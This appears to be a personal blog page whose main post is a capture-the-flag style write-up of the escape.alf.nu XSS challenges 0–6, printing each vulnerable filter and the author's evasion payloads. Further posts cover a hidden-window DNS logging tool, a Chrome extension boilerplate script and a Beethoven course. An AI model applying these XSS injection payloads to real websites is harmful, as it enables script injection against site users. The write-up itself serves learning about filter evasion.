XSS challenges on escape.alf.nu - Part 1

If you haven't seen it yet, there are 14 challenges that test your XSS filter evasion skills over here: http://escape.alf.nu/

Go try them before you read further, because spoilers.

Having never found any significant XSS on the web or attempted filter evasion of any sort, I could only manage the first 7 within reasonable time. Here are the solutions + a little explanation to them. Not all of them are the shortest solutions that exist.


Challenge 0

function escape(s) {
  // Warmup.

  return '<script>console.log("'+s+'");</script>';
}

No escaping or input filtering of any sort, so the answer is pretty simple:

"+alert(1)+"

Shortest, 12 characters.


Challenge 1

function escape(s) {
  // Escaping scheme courtesy of Adobe Systems, Inc.
  s = s.replace(/"/g, '\\"');
  return '<script>console.log("' + s + '");</script>';
}

Oh no, the quotes are being escaped! But nothing else is, so we can escape the escape character so the quote isn't escaped.

\");alert(1)</script>

Shortest solution is 14 characters. This is 21.


Challenge 2

function escape(s) {
  s = JSON.stringify(s);
  return '<script>console.log(' + s + ');</script>';
}

Now many characters will be escaped including \. So closing the script tag, and adding a new one seems to work. What I think happens here is that the browser sees this as a closing tag to the script tag in the beginning. Even though it throws a couple of errors,

this solution seems to work.

</script><scriptalert(1)</script>

Shortest solution is 27 characters, this is 34.


Challenge 3

function escape(s) {
  var url = 'javascript:console.log(' + JSON.stringify(s) + ')';
  console.log(url);

  var a = document.createElement('a');
  a.href = url;
  document.body.appendChild(a);
  a.click();
}

JavaScript in the address bar. So we can no longer use the closing script tag trick. But, because this will be put in the address bar, the URL will be decoded. %22 is equivalent to ", but %22 won't be escaped by JSON.stringify()

So the solution is same as the first challenge, only the quotes are replaced by %22

%22+alert(1)+%22

Shortest solution is 15 characters. Just one extra here.


Challenge 4

function escape(s) {
  var text = s.replace(/</g, '&lt;').replace('"', '&quot;');
  // URLs
  text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
  // [[img123|Description]]
  text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');
  return text;
}

This one took me some time. < is being replaced by &lt; and " is being replaced by &quot. Or is it?

This should be self explanatory. Unless you do a global regexp replace, only the first instance gets replaced. So we use extra quotes!

[[a|""onload="alert(1)]]

Shortest, 24 characters.


Challenge 5

function escape(s) {
  // Level 4 had a typo, thanks Alok.
  // If your solution for 4 still works here, you can go back and get more points on level 4 now.

  var text = s.replace(/</g, '&lt;').replace(/"/g, '&quot;');
  // URLs
  text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
  // [[img123|Description]]
  text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');
  return text;
}

Oh noes! the replace issue has been fixed! What now? After much trial and error, I found that this happens to work.

[[a|http://onload='alert(1)']]

The description parameter has fewer restrictions when it is being matched by regexp, so we use http:// to bring regexp hell and find our way though that. We control some text outside the quotes, and then use single quotes to avoid being escaped.

Shortest, 30 characters.


Challenge 6

function escape(s) {
  // Slightly too lazy to make two input fields.
  // Pass in something like "TextNode#foo"
  var m = s.split(/#/);

  // Only slightly contrived at this point.
  var a = document.createElement('div');
  a.appendChild(document['create'+m[0]].apply(document, m.slice(1)));
  return a.innerHTML;
}

Reddit may have been of a little help here, but I was on the right track. TextNode will escape everything, so it would be difficult to find a way around it.

But TextNode isn't the only string which when suffixed to `create` gives you a document.<something> function. The JavaScript console in Chrome developer tools is an excellent place for this.

createComment fulfills the purpose. Close the comment, and add a script tag.

Comment#><script>alert(1)</script>

Shortest unverified solution is 13 characters. Next one by @0x6D6172696F is 29 characters. This is 34.

I tried some hex encoded eval('alert(1)') on no. 8 but no luck. 
Challenges after this involve ()[]{}!+, which I have no idea about. 
But I found a good blog post on it: http://patriciopalladino.com/blog/2012/08/09/non-alphanumeric-javascript.html

That will be all.

DNSLogger

Apparently, there's no in-built utility to log DNS requests in non-server editions of Windows, and I cannot seem to find any third-party tools either.

The aim here is to run a scheduled task at log on that would log DNS queries.

A simple way would be to use dumpcap (~ command line Wireshark) with arguments in Task Scheduler. But that results in an ugly console window that will pop up and stay on your screen for the remainder of your session. dumpcap will write to file in temp directory, which has a tendency to get wiped. You can specify a filename with the -w flag but that would only be useful for a single run.

Python wouldn't really help me here*. I turned to C#, in which I haven't written anything before, so that should help.

A console app's window can be hidden by setting the Output type property to Windows Application in project properties.

Processes can be started using System.Diagnostic.Process. They can be hidden too:

proc = new System.Diagnostics.Process();
proc.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;

So, dumpcap's console window is also handled.

Now to restart dumpcap whenever it unexpectedly terminates:

DNSLogger logger = new DNSLogger();
logger.createProc();
while (true)
{
    logger.proc.WaitForExit();
    logger.createProc();
}

I cannot say if this is neat, but it works.

Finally, a basic task can be added in Windows Task Scheduler to run the executable at log on.
I suppose this can be useful during malware analysis over multiple sessions and a prolonged duration.

Source is up on Github

* You could possibly make it work using wxPython / Tkinter, etc. But it would be too much work for such a small project. Besides, for distribution purposes, the compiled (py2exe, PyInstaller) binary would be huge compared to one produced by C#.

cebg.py

Chrome Extension Boilerplate Generator

A simple, interactive python script to quickly generate manifest.json and create other specified files and directories for use in a Chrome extension

Source: https://github.com/Siarc/cebg

This began when I was thinking of writing a Chrome extension, only to be reminded of the tiresome process of creating a manifest file, specifying permissions and creating all extra files and sub-directories, etc. etc. 

So I decided to write a python script that would write a manifest.json and create directories and files as required.

There's a webapp that does a much better job. http://extensionizr.com, so I guess I won't be updating this very often.

Beethoven's Piano Sonatas

One can better appreciate music, especially the works of one of the greatest musicians ever, if one has better understanding of the interpreted but not necessarily implied meaning of it. I know little of music but I don't want to keep it that way.

https://www.coursera.org/course/beethovensonatas

When he lays his hands on the Steinway, the instructor, Jonathan Biss, has the look of a man who has known peace. Not everyone is capable of completely understanding his lectures consisting of a fair bit of technical jargon, but the rest of the history and background on classical music is genuinely interesting.

Here's one of, what I consider to to be, Beethoven's most emotional piece of work, made tragic by this moment.

"Over time, his hearing loss became profound: there is a well-attested story that, at the end of the premiere of his Ninth Symphony, he had to be turned around to see the tumultuous applause of the audience; hearing nothing, he wept."